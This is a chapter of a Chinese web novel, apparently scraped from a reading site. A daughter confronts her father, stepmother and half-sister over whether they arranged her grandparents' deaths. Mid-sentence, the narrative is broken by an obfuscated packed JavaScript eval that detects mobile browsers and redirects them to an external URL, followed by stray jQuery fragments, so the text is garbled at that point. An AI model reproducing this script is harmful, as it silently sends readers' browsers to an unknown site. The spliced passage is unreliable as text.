15. 疑惑

作品:《白月光她和疯批太子跑了

    林若华收敛心神,瞧着林洛瑶那副令人熟悉的、歇斯底里的模样,不由得勾起唇角,露出一个同样令对方熟悉的笑容,清冷的声音响起:“没错,我就是不让你嫁给表哥,你能怎样?”


    看着林洛瑶脸上瞬间呆愣的表情,林若华这才继续慢条斯理地说道:“有本事你就日日去镇国公府外守着,若是运气好,说不定真能设计一场与叶世子的巧遇。”


    果然,真诚才是必杀技,她刚才为什么要对牛弹琴呢,和这些人讲什么道理。


    “你——”林洛瑶猛地伸手指着林若华,因为愤怒手指颤抖得厉害,嘴唇哆嗦了半天。


    她的目光下意识转向林若华身侧始终沉默的苏南,只见那位侍女漫不经心地瞥了她一眼,眼神冰冷,带着毫不掩饰的警告。


    林洛瑶喉咙哽咽,像是被人用手扼住了脖颈,满腔的怒火与委屈只能硬生生憋了回去,最后缓缓坐下,独自生着闷气。


    “放肆!”林兴业再也忍不住,一巴掌拍在桌案上。


    他额头青筋暴起,也顾不上捋他的宝贝胡子了,厉声斥道:“若华,近日爹娘是太纵着你了不成?这般目无尊长,你眼里可还有父母,可还有这个家!如此跋扈,成何体统!”


    叶氏见状,扯了扯嘴角,挤出个皮笑肉不笑的表情,话中带着绵里藏针的威胁:“若华啊,你还年轻,不知轻重,你可要想清楚了。这不孝之女的名声若是传出去,可是要毁了一辈子的。到时候,这太子妃之位,只怕是……”


    她故意顿了顿,这才缓缓道:“若是被御史参上一本,莫说是太子妃,就是寻常官宦人家,怕是也要掂量掂量,谁敢娶一个不孝之女进门?要知道,这京城里最不缺的,就是等着看别人笑话的人。”


    林洛瑶立刻找到了主心骨,尖声附和:“对!去顺天府尹那里告你不孝!看你还怎么嚣张,看太子殿下还要不要你!”


    预想中的惊慌失措并未出现。


    林若华反而轻笑一声,那笑声里带着毫不掩饰的嘲讽与笃定:“父亲,母亲,你们何必这般动怒?虽然我很想说,大不了大家一起倒霉,撕破脸谁也别想好过,但是……”


    她目光缓缓扫过在场三人,索性把话挑明:“太子殿下是一定会娶我的。为了保住我未来的体面,到时候倒霉的只会是你们。”


    见林若华这样油盐不进,甚至搬出太子以势压人,林兴业怒不可遏,感觉身为父亲的权威被践踏得干干净净。


    “逆女!林家供你吃穿,许你读书识字,究竟哪里亏待了你!让你如此怨恨家人,让你如此这般忘恩负义!”


    叶氏也掏出手帕,再次装模作样地按了按毫无泪意的眼角,声音带上哭腔:“是啊,先前进宫参加六公主的赏花宴,那样好的机会,我四处求人,舍了多少脸面才得来的帖子,都没忘了让你和瑶儿同去。这不也是看在一家人的情分上么?总盼着你们姐妹都能有个好前程啊!”


    她显然是忘了,那回是叶家人顺口提了一句,说林家大姑娘也到了相看的年纪,如果嫁得寒酸,不止损了她这继母的名声,也会连累林洛瑶的婚事。她权衡利弊之下,这才大发慈悲带上了林若华。


    “情分?”林若华像是听到了天大的笑话,“亏待的地方可太多了,多到我不知从何说起。”


    林若华觉得可笑,事到如今,他们依旧认为自己毫无错处,如果不是她有了利用价值,甚至不会和颜悦色地与她说话。


    对于这种死不悔改的人,与其浪费口舌争辩过往,不如乘机弄清楚自己心中的疑惑。


    林若华蹙起眉,紧紧盯着林兴业的眼睛,不放过他脸上的任何一点细微的变化,沉声问道:“父亲,过去的事暂且不提。我只问你一句,你可还记得,我外祖父母究竟是怎么死的吗?”


    林兴业显然没料到她会突然问起这件陈年旧事,不由得一怔。


    他神色顿时有些不自然:“你突然问这个做什么?”


    当年林若华的生母难产去世,她自己也先天不足,体弱多病,外祖家虽有些薄产,却在偏僻的小镇上,那里缺医少药。


    二老时常寄信来,只是林兴业极少回信,那些信大多石沉大海。


    信中二老屡屡提及,京中名医多,想带林若华来京城治病,一家团聚,享天伦之乐。


    可那时他已与叶氏、林洛瑶成了一家三口,其乐融融,唯恐这原配留下的女儿来了之后打破平静,更怕外祖家借此攀附,便总是推说在京立足不易,官场艰难,又借着林若华出生时游方道人所谓“克亲”的批命为由拒绝,后暗中瞒着叶氏捎去些银钱,这才将人勉强安抚住。


    林若华的外祖父何尝不知当年看走了眼,把女儿错许了薄情郎。


    可木已成舟,那时林兴业已是朝廷命官,而他不过一介平民商人,如何斗得过?


    二老膝下只有林若华母亲这一个女儿,他们爱女心切,将一腔怜爱都寄托在这个唯一的外孙女身上,平日里虽比不得京中官家小姐尊贵,却也是他们的掌上明珠。


    二老的最后一封信中提到,听闻附近的村庄出了一位神医,想带林若华前去求医,信里言辞恳切,充满了希望,但并未言明那位神医姓甚名谁,具体身在何处。


    林兴业当时心中颇为不屑,穷乡僻壤的,能有什么神医?多半是些招摇撞骗的江湖郎中。


    他自己便是从那地方寒窗苦读出来的,岂会不知底细?


    他只随手吩咐书童回了一句“知道了,那就去吧”,便再未理会,也未加阻拦。


    谁知数月后竟得噩耗,说他们一行数人,不幸在途中遭遇凶悍的山匪,车毁人亡,财物被劫,唯有年幼的林若华一人因被外祖母死死护在身下,侥幸活了下来。


    林兴业得知消息时,原本有些心虚,但转念一想,那是天灾人祸,是山匪所为,与他何干?


    他故作沉痛地说道:“岳父岳母不幸遭遇山匪,为父亦是心痛万分,奈何天高路远,鞭长莫及,这些往事,提起来徒增伤感。”


    原来外祖父母是死在山匪手里啊,剧本里只是含糊提了句意外。


    “山匪?”林若华打断他,带着明显的质疑,“怎会凭空冒出这么多凶悍的山匪?我外祖父也并非什么大财主,值得山匪如此大动干戈,杀人满门?”


    林兴业见林若华幽幽望着自己,那微妙的眼神,带着审视与探究,看得他莫名其妙,随即反应过来,勃然变色:“你这是什么意思?莫非是在怀疑为父?”


    “我的意思是,官府后来可曾抓到凶手?可曾寻回丝毫财物?所以我在想,会不会那根本不是什么山匪,而是有人特意安排,专为杀人灭口而来?”林若华幽幽说道。


    “荒谬!我堂堂朝廷命官,你说我买凶杀人?”林兴业气得浑身发抖,猛地抓起手边的茶杯狠狠摔在地上。


    这一次,他终究没敢再砸向林若华,茶杯在离她脚边


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16463094|184823||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    不远的椅下炸裂开来。


    林若华只是慢悠悠地瞥了一眼地上的碎片,神色未变,语气平淡:“那可不一定啊。为了前程,为了摆脱麻烦,人心能狠到什么程度,谁又说得准呢?亲生女儿都可以任其自生自灭。父亲当年,不正是为了前程,才迅速续娶了母亲么?”


    她意有所指地看了叶氏一眼。


    “逆女!你、你这是要气死我!”林兴业气得直喘粗气,指着她的手都在发抖,胸口剧烈起伏,仿佛下一刻就要背过气。


    叶氏连忙上前替他顺气,一边焦急地对林若华道:“若华,这话可不能乱说,这是要掉脑袋的大罪!你爹最是看重名声,绝非那般心狠手辣之人,其中必有误会。”


    眼看林若华无动于衷,生怕她将这莫须有的罪名扣到他们头上,叶氏又急忙补充道:“你父亲当年不过一个七品官,俸禄有限,还要维持一大家子的开销,雇凶杀人价格可不便宜,他哪儿来的那么多银钱。”


    “哦。”林若华若有所思地点点头,目光在林兴业铁青的脸上转了转,“原来父亲他当年没钱啊。”


    林兴业被她这话噎得,一口气没上来,喘得更厉害了。


    “那么……”林若华的视线缓缓移向叶氏,落在叶氏那张保养得当的脸上,来回打量,意思不言而喻,“有钱的那位……会是谁呢?”


    叶氏被她盯心底发毛,立刻摆出委屈又无奈的神情:“若华,你莫不是怀疑母亲?我何苦如此?当年你生母去世已久,你随外祖父母在老家生活,我们素未谋面,无冤无仇啊!况且……”


    她像是下了极大决心,眼一闭,心一横,为了撇清关系,也顾不得那么多了:“况且我父母去世时,确实给我留下了一些嫁妆,但那些人脉关系,却并未交托于我。我一个深宅妇人,整日围着后宅转,怎么可能有那般通天的手段,将手伸到千里之外的偏远之地去安排这等事,你便是去查,我也问心无愧!”


    林兴业一听,气也不喘了,猛地扭头,瞪大眼睛难以置信地看向叶氏。


    她婚前和婚后,可不是这么跟他说的!她一直暗示自己是叶氏旁支,父母在叶家还有些门路。


    林若华将父亲的反应看在眼里,心中不屑,只淡淡“嗯”了一声,既没说信,也没说不信。


    她又把探寻的目光转向了一旁正暗自咬牙切齿的林洛瑶。


    林洛瑶瞬间炸了毛,尖声道:“林若华,你有病吧!当时我才几岁?我根本就不知道这世上还有你这么个姐姐的存在,你休要血口喷人!你自己命硬克亲,倒来怪我们!”


    一时间,厅内三人神情各异。


    “你们各执一词,真假难辨,但此事,我不会就此罢休。我会请太子殿下相助,彻底查明外祖父母遇害的真相。若当真与你们无关,自然会还你们清白。若是有关……”


    林若华没有再说下去,也不再看被她搅得人心惶惶的一家人,带着苏南,头也不回地走向自己的院子。


    回到偏僻但清静的院子,她才对苏南低声道:“苏南,看他们的反应,似乎真的对当年的事毫不知情。”


    苏南冷冷道:“观他们的神色举止,确实未曾撒谎。”


    那她的身世,到底还藏着什么秘密?


    眼下看来,至少能借此机会,摆脱那一家人如影随形的算计。


    不过,总觉得,好像忘了点什么?


    对了,都这么久了,男主人呢?